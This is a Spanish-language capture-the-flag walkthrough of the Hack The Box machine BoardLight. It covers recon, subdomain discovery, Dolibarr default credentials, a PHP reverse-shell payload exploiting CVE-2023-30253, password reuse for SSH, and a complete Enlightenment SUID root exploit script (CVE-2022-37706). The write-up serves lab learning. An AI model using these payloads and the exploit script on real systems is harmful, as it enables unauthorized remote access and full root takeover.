Descripción
BoardLight es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Enumeración de subdominios
- Vulnerabilidad de Dolibarr que permite la ejecución remota de comandos
- Reutilización de una contraseña que permite el pivote de usuario
- Escalada de privilegios mediante un binario vulnerable SUID del gestor de ventanas Enlightement
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.129.62.232.
$ ping -c 3 10.129.62.232
PING 10.129.62.232 (10.129.62.232) 56(84) bytes of data.
64 bytes from 10.129.62.232: icmp_seq=1 ttl=63 time=55.3 ms
64 bytes from 10.129.62.232: icmp_seq=2 ttl=63 time=57.4 ms
64 bytes from 10.129.62.232: icmp_seq=3 ttl=63 time=56.5 ms
--- 10.129.62.232 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 55.290/56.404/57.401/0.865 ms
La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.129.62.232 -sS -oN nmap_scan
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.62.232
Host is up (0.058s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 1.11 seconds
Conseguimos dos puertos abiertos, 22 y 80.
Enumeración
Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.
$ nmap 10.129.62.232 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.62.232
Host is up (0.057s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)
| 256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA)
|_ 256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.83 seconds
Conseguimos dos servicios: Secure Shell (SSH) y Hypertext Transfer Protocol (HTTP) funcionando en un Linux Ubuntu. Como no tenemos credenciales factibles para el servicio SSH vamos a pasar al servicio HTTP. Observamos que el servicio alberga un sitio web http://board.htb, con una página de muestra sin ninguna funcionalidad, por lo que la añadimos a nuestro archivo local /etc/hosts.
$ echo "10.129.62.232 board.htb" | sudo tee -a /etc/hosts
Enumerando los subdominios, encontramos uno: http://crm.board.htb.
$ gobuster vhost -u board.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -o vhost_enumeration_b
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://board.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: crm.board.htb Status: 200 [Size: 6360]
Progress: 4989 / 4990 (99.98%)
===============================================================
Finished
===============================================================
También lo agregamos al archivo hosts.
$ echo "10.129.62.232 crm.board.htb" | sudo tee -a /etc/hosts
Encontramos la aplicación web CRM Dolibarr en su versión 17.0.0.
Las credenciales predeterminadas admin:admin funcionan y es posible iniciar sesión.
Explotación
La aplicación Dolibarr es vulnerable a la ejecución remota de comandos CVE-2023-30253. Antes de la versión 17.0.1 de Dolibarr se permite la ejecución remota de código por un usuario autenticado mediante una manipulación de mayúsculas: <?PHP en vez de <?php en datos inyectados. Para explotar la vulnerabilidad, después de iniciar sesión, necesitamos crear un nuevo sitio web, en la barra superior Websites > Plus Icon.
Como nombre del sitio web introducimos un nombre aleatorio y luego hacemos clic en CREATE.
Con el nuevo sitio web creado, creamos una nueva página, en Page > Plus Icon.
Podemos añadir una página con la opción Or create from scratch or from a page template.... De nuevo introducimos un nombre aleatorio para la página.
Luego hacemos clic en el botón CREATE. Ahora tenemos la opción de añadir código HTML haciendo clic en el botón Edit HTML Source.
Se nos redirecciona a una página en la que podemos introducir nuestro código PHP para conseguir la ejecución de comandos remotos (la terminal inversa) entre las etiquetas <section>. Primero abrimos un puerto de escucha en nuestra máquina.
$ nc -nvlp 1234
Luego creamos nuestra carga útil.
Carga útil con la terminal inversa (código PHP):
<?PHP echo system("bash -c 'bash -i >& /dev/tcp/10.10.14.30/1234 0>&1'");?>
Así es como se introduce en el formulario.
Pulsamos en el botón SAVE y seremos redireccionados a la página que nos muestra parte del comando.
Ahora sólo tenemos que hacer clic en el interruptor Show dynamic content para que la ejecución del comando suceda. Conseguimos la terminal inversa, así que la actualizamos.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.30] from (UNKNOWN) [10.129.62.232] 59170
bash: cannot set terminal process group (861): Inappropriate ioctl for device
bash: no job control in this shell
www-data@boardlight:~/html/crm.board.htb/htdocs/website$ script /dev/null -c bash
[keyboard] CTRL-Z
www-data@boardlight:~/html/crm.board.htb/htdocs/website$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156
Post-Explotación
Estamos conectados como el usuario www-data. Encontramos a larissa y root como usuarios de consola.
www-data@boardlight:~/html/crm.board.htb/htdocs/website$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
larissa:x:1000:1000:larissa,,,:/home/larissa:/bin/bash
Encontramos el archivo de configuración de Dolibarr en la ruta /var/www/html/crm.board.htb/htdocs/conf/conf.php. Encontramos una credencial para el administrador de bases de datos MySQL, serverfun2$2023!!.
www-data@boardlight:~/html/crm.board.htb/htdocs/website$ cat /var/www/html/crm.board.htb/htdocs/conf/conf.php
...
$dolibarr_main_db_host='localhost';
$dolibarr_main_db_port='3306';
$dolibarr_main_db_name='dolibarr';
$dolibarr_main_db_prefix='llx_';
$dolibarr_main_db_user='dolibarrowner';
$dolibarr_main_db_pass='serverfun2$2023!!';
Revisamos que la contraseña se reutiliza para el usuario larissa, por lo que podemos iniciar sesión usando SSH.
$ ssh larissa@board.htb
Buscando binarios SUID, encontramos algunos relacionados con Enlightenment, un gestor de ventanas.
larissa@boardlight:~$ find / -perm -4000 2> /dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/xorg/Xorg.wrap
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight
/usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/linux-gnu-x86_64-0.23.1/freqset
Encontramos que la versión instalada de Enlightenment es la 0.23.1.
larissa@boardlight:~$ dpkg -s enlightenment | grep ^Version
Version: 0.23.1-4
El binario de Enlightenment enlightenment_sys en las versiones previas a 0.25.4 permite a los usuarios locales elevar sus privilegios ya que está establecido como binario SUID con el dueño root, y la función de biblioteca del sistema maneja erróneamente los nombres de ruta que comienzan con una subcadena /dev/... Para la vulnerabilidad CVE-2022-37706 tenemos una prueba de concepto creada por MaherAzzouzi. Sólo tenemos que ejecutar el script Bash para desplegar una terminal root.
larissa@boardlight:~$ mktemp -d
/tmp/tmp.03t8nHod18
larissa@boardlight:~$ cd /tmp/tmp.03t8nHod18
larissa@boardlight:/tmp/tmp.03t8nHod18$ cat<<\EOF>exploit.sh
#!/bin/bash
echo "CVE-2022-37706"
echo "[*] Trying to find the vulnerable SUID file..."
echo "[*] This may take few seconds..."
file=$(find / -name enlightenment_sys -perm -4000 2>/dev/null | head -1)
if [[ -z ${file} ]]
then
echo "[-] Couldn't find the vulnerable SUID file..."
echo "[*] Enlightenment should be installed on your system."
exit 1
fi
echo "[+] Vulnerable SUID binary found!"
echo "[+] Trying to pop a root shell!"
mkdir -p /tmp/net
mkdir -p "/dev/../tmp/;/tmp/exploit"
echo "/bin/sh" > /tmp/exploit
chmod a+x /tmp/exploit
echo "[+] Enjoy the root shell :)"
${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net
EOF
larissa@boardlight:/tmp/tmp.03t8nHod18$ ./exploit.sh
CVE-2022-37706
[*] Trying to find the vulnerable SUID file...
[*] This may take few seconds...
[+] Vulnerable SUID binary found!
[+] Trying to pop a root shell!
[+] Enjoy the root shell :)
mount: /dev/../tmp/: can't find in /etc/fstab.
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),1000(larissa)
Flags
Desde la terminal de root podemos obtener las flags de user y root.
# cat /home/larissa/user.txt
<REDACTED>
# cat /root/root.txt
<REDACTED>